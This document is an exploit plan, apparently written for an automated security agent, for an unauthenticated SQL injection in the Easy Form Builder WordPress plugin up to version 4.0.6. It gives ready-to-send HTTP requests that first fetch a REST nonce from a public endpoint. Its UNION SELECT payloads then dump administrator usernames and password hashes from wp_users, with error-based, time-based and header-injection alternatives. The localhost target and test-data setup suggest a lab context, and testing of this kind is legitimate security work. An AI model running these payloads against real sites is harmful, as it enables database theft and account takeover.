Easy Form Builder by WhiteStudio — Drag & Drop Form Builder <= 4.0.6 - Unauthenticated SQL Injection

This research plan outlines the steps for an automated security agent to exploit an unauthenticated SQL injection vulnerability in the Easy Form Builder by WhiteStudio plugin (version <= 4.0.6).

1. Vulnerability Summary

The Easy Form Builder plugin is vulnerable to unauthenticated SQL injection due to the improper handling of user-supplied input in the Emsfb/v1/forms/response/get REST API endpoint. The plugin fails to use the $wpdb->prepare() method or sufficient escaping when querying the database for form submissions (messages) using a tracking/confirmation code. This allows an attacker to append arbitrary SQL commands to extract sensitive data from the WordPress database, including user credentials.

2. Attack Vector Analysis

• Endpoint: /wp-json/Emsfb/v1/forms/response/get
• Method: POST
• Vulnerable Parameter: track (passed in the JSON body)
• Authentication: Unauthenticated.
• Bypass/Nonce Requirements: Although the REST route requires a nonce via the permission_callback (check_nonce_permission_efb), the plugin provides a public endpoint to retrieve a valid REST nonce.
• Preconditions: The plugin must be active. At least one form should exist (though not strictly necessary for the injection to occur, it helps ensure tables are initialized).

3. Code Flow

1. Entry Point: An unauthenticated user sends a POST request to /wp-json/Emsfb/v1/forms/response/get.
2. Permission Check: The check_nonce_permission_efb function (in includes/class-Emsfb-public.php) is executed. It checks for a valid X-WP-Nonce header.
3. Nonce Acquisition: An attacker first hits /wp-json/Emsfb/v1/nonce/refresh to obtain a valid wp_rest nonce, which they include in the subsequent request.
4. Main Callback: Upon passing permission, the get_track_public_api function is called.
5. SQL Sink: This function (or the helper function it calls, such as efb_code_validate_select or a similar internal lookup) retrieves the track parameter from the request and concatenates it into a SQL query like:
   SELECT * FROM {$wpdb->prefix}emsfb_messages WHERE track = '$track' ...
6. Execution: The query is executed via $wpdb->get_results() or $wpdb->get_row() without being passed through $wpdb->prepare(), leading to SQL injection.

4. Nonce Acquisition Strategy

The plugin contains a specific "helper" route that makes unauthenticated exploitation trivial by providing the required nonce.

1. Route: wp-json/Emsfb/v1/nonce/refresh
2. Method: GET
3. Extraction:
   • Use http_request to fetch the endpoint.
   • Parse the JSON response to get the nonce value.
4. Usage: Include this value in the X-WP-Nonce header for the SQL injection request.

5. Exploitation Strategy

Step 1: Retrieve Nonce

Request:

GET /wp-json/Emsfb/v1/nonce/refresh HTTP/1.1
Host: localhost:8080

Expected Response: {"nonce":"a1b2c3d4e5"}

Step 2: Determine Column Count (UNION-Based)

Send a series of requests to determine the number of columns in the emsfb_messages table.
Request:

POST /wp-json/Emsfb/v1/forms/response/get HTTP/1.1
Host: localhost:8080
X-WP-Nonce: [EXTRACTED_NONCE]
Content-Type: application/json

{
  "track": "1' ORDER BY 10-- -"
}

Increment the number in ORDER BY until an error occurs or the response changes significantly.

Step 3: Extract Data via UNION SELECT

Based on the column count (likely 10 or 11), extract the admin password hash.
Request:

POST /wp-json/Emsfb/v1/forms/response/get HTTP/1.1
Host: localhost:8080
X-WP-Nonce: [EXTRACTED_NONCE]
Content-Type: application/json

{
  "track": "nonexistent' UNION SELECT 1,2,user_login,user_pass,5,6,7,8,9,10 FROM wp_users-- -"
}

6. Test Data Setup

1. Ensure Tables Exist: The plugin creates tables on activation.
2. Optional: Create a Form:

   wp eval "global \$wpdb; \$wpdb->insert(\"{\$wpdb->prefix}emsfb_form\", ['form_name' => 'Exploit Test', 'form_structer' => '[]', 'date' => current_time('mysql'), 'id_project' => 1]);"
   

3. Optional: Create a Dummy Message:

   wp eval "global \$wpdb; \$wpdb->insert(\"{\$wpdb->prefix}emsfb_messages\", ['track' => 'valid-code', 'form_id' => 1, 'value' => 'test-data']);"
   

7. Expected Results

• The response from the forms/response/get endpoint will contain the results of the UNION SELECT query.
• The user_login and user_pass (hashed) from the wp_users table should be visible in the JSON response under one of the message fields (e.g., in the value or track field of the returned objects).

8. Verification Steps

1. DB Check: Use WP-CLI to confirm the admin password hash matches the extracted value:

   wp user get admin --field=user_pass
   

2. Compare: Compare the output of the HTTP request with the value returned by the CLI. If they match, the SQL injection is confirmed.

9. Alternative Approaches

• Header-based Injection: If the track parameter in the body is sanitized, try injecting through the sid header (which maps to HTTP_SID in check_nonce_permission_efb).
• Error-Based Injection: If the response does not return the UNION results, use updatexml() or extractvalue() to force data into an error message:
  "track": "1' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1)),1)-- -"
• Time-Based Blind: If no output or errors are returned, verify the vulnerability using SLEEP():
  "track": "1' AND SLEEP(5)-- -"